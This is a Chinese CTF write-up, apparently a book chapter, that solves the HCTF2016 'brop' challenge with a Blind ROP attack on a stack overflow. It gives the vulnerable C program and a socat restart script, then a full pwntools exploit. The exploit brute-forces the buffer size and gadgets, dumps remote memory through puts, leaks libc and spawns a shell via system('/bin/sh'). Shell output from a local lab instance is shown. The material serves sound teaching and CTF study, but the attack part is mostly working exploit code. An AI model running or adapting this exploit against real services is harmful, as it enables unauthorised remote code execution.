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596 lines
22 KiB
Markdown
596 lines
22 KiB
Markdown
# 6.1.1 pwn HCTF2016 brop
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- [题目复现](#题目复现)
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- [BROP 原理及题目解析](#brop-原理及题目解析)
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- [Exploit](#exploit)
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- [参考资料](#参考资料)
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## 题目复现
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出题人在 github 上开源了代码，[出题人失踪了](https://github.com/zh-explorer/hctf2016-brop)。如下：
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```C
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#include <stdio.h>
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#include <unistd.h>
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#include <string.h>
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int i;
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int check();
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int main(void) {
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setbuf(stdin, NULL);
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setbuf(stdout, NULL);
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setbuf(stderr, NULL);
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puts("WelCome my friend,Do you know password?");
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if(!check()) {
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puts("Do not dump my memory");
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} else {
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puts("No password, no game");
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}
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}
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int check() {
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char buf[50];
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read(STDIN_FILENO, buf, 1024);
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return strcmp(buf, "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
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}
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```
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使用下面的语句编译，然后运行起来：
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```
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$ gcc -z noexecstack -fno-stack-protector -no-pie brop.c
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```
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checksec 如下：
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```
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$ checksec -f a.out
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RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
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Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 a.out
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```
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由于 socat 在程序崩溃时会断开连接，我们写一个小脚本，让程序在崩溃后立即重启，这样就模拟出了远程环境 `127.0.0.1:10001`：
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```bash
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#!/bin/sh
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while true; do
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num=`ps -ef | grep "socat" | grep -v "grep" | wc -l`
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if [ $num -lt 5 ]; then
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socat tcp4-listen:10001,reuseaddr,fork exec:./a.out &
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fi
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done
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```
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在一个单独的 shell 中运行它，这样我们就简单模拟出了比赛时的环境，即仅提供 ip 和端口。（不停地断开重连特别耗CPU，建议在服务器上跑）
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## BROP 原理及题目解析
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BROP 即 Blind ROP，需要我们在无法获得二进制文件的情况下，通过 ROP 进行远程攻击，劫持该应用程序的控制流，可用于开启了 ASLR、NX和栈canaries的 64-bit Linux。这一概念是是在 2014 年提出的，论文和幻灯片在参考资料中。
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实现这一攻击有两个必要条件：
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1. 目标程序存在一个栈溢出漏洞，并且我们知道怎样去触发它
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2. 目标进程在崩溃后会立即重启，并且重启后进程被加载的地址不变，这样即使目标机器开启了 ASLR 也没有影响。
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下面我们结合题目来讲一讲。
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#### 栈溢出
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首先是要找到栈溢出的漏洞，老办法从 1 个字符开始，暴力枚举，直到它崩溃。
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```python
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def get_buffer_size():
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for i in range(100):
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payload = "A"
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payload += "A"*i
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buf_size = len(payload) - 1
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try:
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.send(payload)
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p.recv()
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p.close()
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log.info("bad: %d" % buf_size)
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except EOFError as e:
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p.close()
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log.info("buffer size: %d" % buf_size)
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return buf_size
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```
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```
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[*] buffer size: 72
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```
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要注意的是，崩溃意味着我们覆盖到了返回地址，所以缓冲区应该是发送的字符数减一，即 buf(64)+ebp(8)=72。该题并没有开启canary，所以跳过爆破的过程。
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#### stop gadget
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在寻找通用 gadget 之前，我们需要一个 stop gadget。一般情况下，当我们把返回地址覆盖后，程序有很大的几率会挂掉，因为所覆盖的地址可能并不是合法的，所以我们需要一个能够使程序正常返回的地址，称作 stop gadget，这一步至关重要。stop gadget 可能不止一个，这里我们之间返回找到的第一个好了：
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```python
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def get_stop_addr(buf_size):
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addr = 0x400000
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while True:
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sleep(0.1)
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addr += 1
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payload = "A"*buf_size
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payload += p64(addr)
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try:
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.sendline(payload)
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p.recvline()
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p.close()
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log.info("stop address: 0x%x" % addr)
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return addr
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except EOFError as e:
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p.close()
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log.info("bad: 0x%x" % addr)
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except:
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log.info("Can't connect")
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addr -= 1
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```
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由于我们在本地的守护脚本略简陋，在程序挂掉和重新启动之间存在一定的时间差，所以这里 `sleep(0.1)` 做一定的缓冲，如果还是冲突，在 `except` 进行处理，后面的代码也一样。
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```
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[*] stop address: 0x4005e5
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```
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#### common gadget
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有了 stop gadget，那些原本会导致程序崩溃的地址还是一样会导致崩溃，但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget，由于是 64 位程序，可以考虑使用通用 gadget（有关该内容请参见章节4.7）：
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```python
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def get_gadgets_addr(buf_size, stop_addr):
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addr = stop_addr
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while True:
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sleep(0.1)
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addr += 1
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payload = "A"*buf_size
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payload += p64(addr)
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payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
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payload += p64(stop_addr)
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try:
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.sendline(payload)
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p.recvline()
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p.close()
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log.info("find address: 0x%x" % addr)
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try: # check
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payload = "A"*buf_size
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payload += p64(addr)
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payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.sendline(payload)
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p.recvline()
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p.close()
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log.info("bad address: 0x%x" % addr)
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except:
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p.close()
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log.info("gadget address: 0x%x" % addr)
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return addr
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except EOFError as e:
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p.close()
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log.info("bad: 0x%x" % addr)
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except:
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log.info("Can't connect")
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addr -= 1
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```
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直接从 stop gadget 的地方开始搜索就可以了。另外，找到一个正常返回的地址之后，需要进行检查，以确定是它确实是通用 gadget。
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```
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[*] gadget address: 0x40082a
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```
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有了通用 gadget，就可以得到 `pop rdi; ret` 的地址了，即 gadget address + 9。
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#### puts@plt
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plt 表具有比较规整的结构，每一个表项都是 16 字节，而在每个表项的 6 字节偏移处，是该表项对应函数的解析路径，所以先得到 plt 地址，然后 dump 出内存，就可以找到 got 地址。
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这里我们使用 puts 函数来 dump 内存，比起 write，它只需要一个参数，很方便：
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```python
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def get_puts_plt(buf_size, stop_addr, gadgets_addr):
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pop_rdi = gadgets_addr + 9 # pop rdi; ret;
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addr = stop_addr
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while True:
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sleep(0.1)
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addr += 1
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payload = "A"*buf_size
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payload += p64(pop_rdi)
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payload += p64(0x400000)
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payload += p64(addr)
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payload += p64(stop_addr)
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try:
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.sendline(payload)
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if p.recv().startswith("\x7fELF"):
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log.info("puts@plt address: 0x%x" % addr)
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p.close()
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return addr
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log.info("bad: 0x%x" % addr)
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p.close()
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except EOFError as e:
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p.close()
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log.info("bad: 0x%x" % addr)
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except:
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log.info("Can't connect")
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addr -= 1
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```
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这里让 puts 打印出 `0x400000` 地址处的内容，因为这里通常是程序头的位置（关闭PIE），且前四个字符为 `\x7fELF`，方便进行验证。
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```
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[*] puts@plt address: 0x4005e7
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```
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成功找到一个地址，它确实调用 puts，打印出了 `\x7fELF`，那它真的就是 puts@plt 的地址吗，不一定，看一下呗，反正我们有二进制文件。
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```
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gdb-peda$ disassemble /r 0x4005f0
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Dump of assembler code for function puts@plt:
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0x00000000004005f0 <+0>: ff 25 22 0a 20 00 jmp QWORD PTR [rip+0x200a22] # 0x601018
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0x00000000004005f6 <+6>: 68 00 00 00 00 push 0x0
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0x00000000004005fb <+11>: e9 e0 ff ff ff jmp 0x4005e0
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End of assembler dump.
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```
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不对呀，puts@plt 明明是在 `0x4005f0`，那么 `0x4005e7` 是什么鬼。
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```
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gdb-peda$ pdisass /r 0x4005e7,0x400600
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Dump of assembler code from 0x4005e7 to 0x400600:
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0x00000000004005e7: 25 24 0a 20 00 and eax,0x200a24
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0x00000000004005ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
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0x00000000004005f0 <puts@plt+0>: ff 25 22 0a 20 00 jmp QWORD PTR [rip+0x200a22] # 0x601018
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0x00000000004005f6 <puts@plt+6>: 68 00 00 00 00 push 0x0
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0x00000000004005fb <puts@plt+11>: e9 e0 ff ff ff jmp 0x4005e0
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End of assembler dump.
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```
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原来是由于反汇编时候的偏移，导致了这个问题，当然了前两句对后面的 puts 语句并没有什么影响，忽略它，在后面的代码中继续使用 `0x4005e7`。
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#### remote dump
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有了 puts，有了 gadget，就可以着手 dump 程序了：
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```python
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def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
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pop_rdi = gadgets_addr + 9 # pop rdi; ret
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result = ""
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while start_addr < end_addr:
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#print result.encode('hex')
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sleep(0.1)
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payload = "A"*buf_size
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payload += p64(pop_rdi)
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payload += p64(start_addr)
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payload += p64(puts_plt)
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payload += p64(stop_addr)
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try:
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.sendline(payload)
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data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
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if data == "\n":
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data = "\x00"
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elif data[-1] == "\n":
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data = data[:-1]
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log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
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result += data
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start_addr += len(data)
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p.close()
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except:
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log.info("Can't connect")
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return result
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```
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我们知道 puts 函数通过 `\x00` 进行截断，并且会在每一次输出末尾加上换行符 `\x0a`，所以有一些特殊情况需要做一些处理，比如单独的 `\x00`、`\x0a` 等，首先当然是先去掉末尾 puts 自动加上的 `\n`，然后如果 recv 到一个 `\n`，说明内存中是 `\x00`，如果 recv 到一个 `\n\n`，说明内存中是 `\x0a`。`p.recv(timeout=0.1)` 是由于函数本身的设定，如果有 `\n\n`，它很可能在收到第一个 `\n` 时就返回了，加上参数可以让它全部接收完。
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这里选择从 `0x400000` dump到 `0x401000`，足够了，你还可以 dump 下 data 段的数据，大概从 `0x600000` 开始。
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#### puts@got
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拿到 dump 下来的文件，使用 Radare2 打开，使用参数 `-B` 指定程序基地址，然后反汇编 `puts@plt` 的位置 `0x4005e7`，当然你要直接反汇编 `0x4005f0` 也行：
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```
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$ r2 -B 0x400000 code.bin
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[0x00400630]> pd 14 @ 0x4005e7
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:::: 0x004005e7 25240a2000 and eax, 0x200a24
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:::: 0x004005ec 0f1f4000 nop dword [rax]
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:::: 0x004005f0 ff25220a2000 jmp qword [0x00601018] ; [0x601018:8]=-1
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:::: 0x004005f6 6800000000 push 0
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`====< 0x004005fb e9e0ffffff jmp 0x4005e0
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::: 0x00400600 ff251a0a2000 jmp qword [0x00601020] ; [0x601020:8]=-1
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::: 0x00400606 6801000000 push 1 ; 1
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`===< 0x0040060b e9d0ffffff jmp 0x4005e0
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:: 0x00400610 ff25120a2000 jmp qword [0x00601028] ; [0x601028:8]=-1
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:: 0x00400616 6802000000 push 2 ; 2
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`==< 0x0040061b e9c0ffffff jmp 0x4005e0
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: 0x00400620 ff250a0a2000 jmp qword [0x00601030] ; [0x601030:8]=-1
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: 0x00400626 6803000000 push 3 ; 3
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`=< 0x0040062b e9b0ffffff jmp 0x4005e0
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```
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于是我们就得到了 puts@got 地址 `0x00601018`。可以看到该表中还有其他几个函数，根据程序的功能大概可以猜到，无非就是 setbuf、read 之类的，在后面的过程中如果实在无法确定 libc，这些信息可能会有用。
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#### attack
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后面的过程和无 libc 的利用差不多了，先使用 puts 打印出其在内存中的地址，然后在 libc-database 里查找相应的 libc，也就是目标机器上的 libc，通过偏移计算出 `system()` 函数和字符串 `/bin/sh` 的地址，构造 payload 就可以了。
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```python
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def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
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pop_rdi = gadgets_addr + 9
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payload = "A"*buf_size
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payload += p64(pop_rdi)
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payload += p64(puts_got)
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payload += p64(puts_plt)
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payload += p64(stop_addr)
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.sendline(payload)
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data = p.recvline()
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data = u64(data[:-1] + '\x00\x00')
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log.info("puts address: 0x%x" % data)
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p.close()
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return data
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```
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```
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[*] puts address: 0x7ffff7a90210
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```
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这里插一下 [libc-database](https://github.com/niklasb/libc-database) 的用法，由于我本地的 libc 版本比较新，可能未收录，就直接将它添加进去好了：
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```
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$ ./add /usr/lib/libc-2.26.so
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Adding local libc /usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570 /usr/lib/libc-2.26.so)
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-> Writing libc to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.so
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-> Writing symbols to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.symbols
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-> Writing version info
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```
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然后查询（ASLR 并不影响后 12 位的值）：
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```
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$ ./find puts 210
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/usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570)
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$ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
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offset___libc_start_main_ret = 0x20f6a
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offset_system = 0x0000000000042010
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offset_dup2 = 0x00000000000e8100
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offset_read = 0x00000000000e7820
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offset_write = 0x00000000000e78c0
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offset_str_bin_sh = 0x17aff5
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$ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
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offset_puts = 0x000000000006f210
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```
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```python
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offset_puts = 0x000000000006f210
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offset_system = 0x0000000000042010
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offset_str_bin_sh = 0x17aff5
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system_addr = (puts_addr - offset_puts) + offset_system
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binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh
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# get shell
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payload = "A"*buf_size
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payload += p64(gadgets_addr + 9) # pop rdi; ret;
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payload += p64(binsh_addr)
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payload += p64(system_addr)
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payload += p64(stop_addr)
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.sendline(payload)
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p.interactive()
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```
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Bingo!!!
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```
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$ python2 exp.py
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[+] Opening connection to 127.0.0.1 on port 10001: Done
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[*] Switching to interactive mode
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$ whoami
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firmy
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```
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## Exploit
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完整的 exp 如下，其他文件放在了[github](../src/writeup/6.1.1_pwn_hctf2016_brop)相应文件夹中：
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```python
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from pwn import *
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#context.log_level = 'debug'
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def get_buffer_size():
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for i in range(100):
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payload = "A"
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payload += "A"*i
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buf_size = len(payload) - 1
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try:
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.send(payload)
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p.recv()
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p.close()
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log.info("bad: %d" % buf_size)
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except EOFError as e:
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p.close()
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log.info("buffer size: %d" % buf_size)
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return buf_size
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def get_stop_addr(buf_size):
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addr = 0x400000
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while True:
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sleep(0.1)
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addr += 1
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payload = "A"*buf_size
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payload += p64(addr)
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try:
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.sendline(payload)
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p.recvline()
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p.close()
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log.info("stop address: 0x%x" % addr)
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return addr
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except EOFError as e:
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p.close()
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log.info("bad: 0x%x" % addr)
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except:
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log.info("Can't connect")
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addr -= 1
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def get_gadgets_addr(buf_size, stop_addr):
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addr = stop_addr
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while True:
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sleep(0.1)
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addr += 1
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payload = "A"*buf_size
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payload += p64(addr)
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payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
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payload += p64(stop_addr)
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try:
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.sendline(payload)
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p.recvline()
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p.close()
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log.info("find address: 0x%x" % addr)
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try: # check
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payload = "A"*buf_size
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payload += p64(addr)
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payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.sendline(payload)
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p.recvline()
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p.close()
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log.info("bad address: 0x%x" % addr)
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except:
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p.close()
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log.info("gadget address: 0x%x" % addr)
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return addr
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except EOFError as e:
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p.close()
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log.info("bad: 0x%x" % addr)
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except:
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log.info("Can't connect")
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addr -= 1
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def get_puts_plt(buf_size, stop_addr, gadgets_addr):
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pop_rdi = gadgets_addr + 9 # pop rdi; ret;
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addr = stop_addr
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while True:
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sleep(0.1)
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addr += 1
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payload = "A"*buf_size
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payload += p64(pop_rdi)
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payload += p64(0x400000)
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payload += p64(addr)
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payload += p64(stop_addr)
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try:
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.sendline(payload)
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if p.recv().startswith("\x7fELF"):
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log.info("puts@plt address: 0x%x" % addr)
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p.close()
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return addr
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log.info("bad: 0x%x" % addr)
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p.close()
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except EOFError as e:
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p.close()
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log.info("bad: 0x%x" % addr)
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except:
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log.info("Can't connect")
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addr -= 1
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def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
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pop_rdi = gadgets_addr + 9 # pop rdi; ret
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result = ""
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while start_addr < end_addr:
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#print result.encode('hex')
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sleep(0.1)
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payload = "A"*buf_size
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payload += p64(pop_rdi)
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payload += p64(start_addr)
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payload += p64(puts_plt)
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payload += p64(stop_addr)
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try:
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.sendline(payload)
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data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
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if data == "\n":
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data = "\x00"
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elif data[-1] == "\n":
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data = data[:-1]
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log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
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result += data
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start_addr += len(data)
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p.close()
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except:
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log.info("Can't connect")
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return result
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def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
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pop_rdi = gadgets_addr + 9
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payload = "A"*buf_size
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payload += p64(pop_rdi)
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payload += p64(puts_got)
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payload += p64(puts_plt)
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payload += p64(stop_addr)
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.sendline(payload)
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data = p.recvline()
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data = u64(data[:-1] + '\x00\x00')
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log.info("puts address: 0x%x" % data)
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p.close()
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return data
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#buf_size = get_buffer_size()
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buf_size = 72
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#stop_addr = get_stop_addr(buf_size)
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stop_addr = 0x4005e5
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#gadgets_addr = get_gadgets_addr(buf_size, stop_addr)
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gadgets_addr = 0x40082a
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#puts_plt = get_puts_plt(buf_size, stop_addr, gadgets_addr)
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puts_plt = 0x4005e7 # fake puts
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#puts_plt = 0x4005f0 # true puts
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# dump code section from memory
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# and then use Radare2 or IDA Pro to find the got address
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#start_addr = 0x400000
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#end_addr = 0x401000
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#code_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
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#with open('code.bin', 'wb') as f:
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# f.write(code_bin)
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# f.close()
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puts_got = 0x00601018
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# you can also dump data from memory and get information from .got
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#start_addr = 0x600000
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#end_addr = 0x602000
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#data_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
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#with open('data.bin', 'wb') as f:
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# f.write(data_bin)
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# f.close()
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# must close ASLR
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#puts_addr = get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got)
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puts_addr = 0x7ffff7a90210
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# first add your own libc into libc-database: $ ./add /usr/lib/libc-2.26.so
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# $ ./find puts 0x7ffff7a90210
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# or $ ./find puts 210
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# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
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# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
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# then you can get the following offset
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offset_puts = 0x000000000006f210
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offset_system = 0x0000000000042010
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offset_str_bin_sh = 0x17aff5
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system_addr = (puts_addr - offset_puts) + offset_system
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binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh
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# get shell
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payload = "A"*buf_size
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payload += p64(gadgets_addr + 9) # pop rdi; ret;
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payload += p64(binsh_addr)
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payload += p64(system_addr)
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payload += p64(stop_addr)
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p = remote('127.0.0.1', 10001)
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p.recvline()
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p.sendline(payload)
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p.interactive()
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```
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## 参考资料
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- [Blind Return Oriented Programming (BROP)](http://www.scs.stanford.edu/brop/)
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- [Blind Return Oriented Programming (BROP) Attack (1)](http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/)
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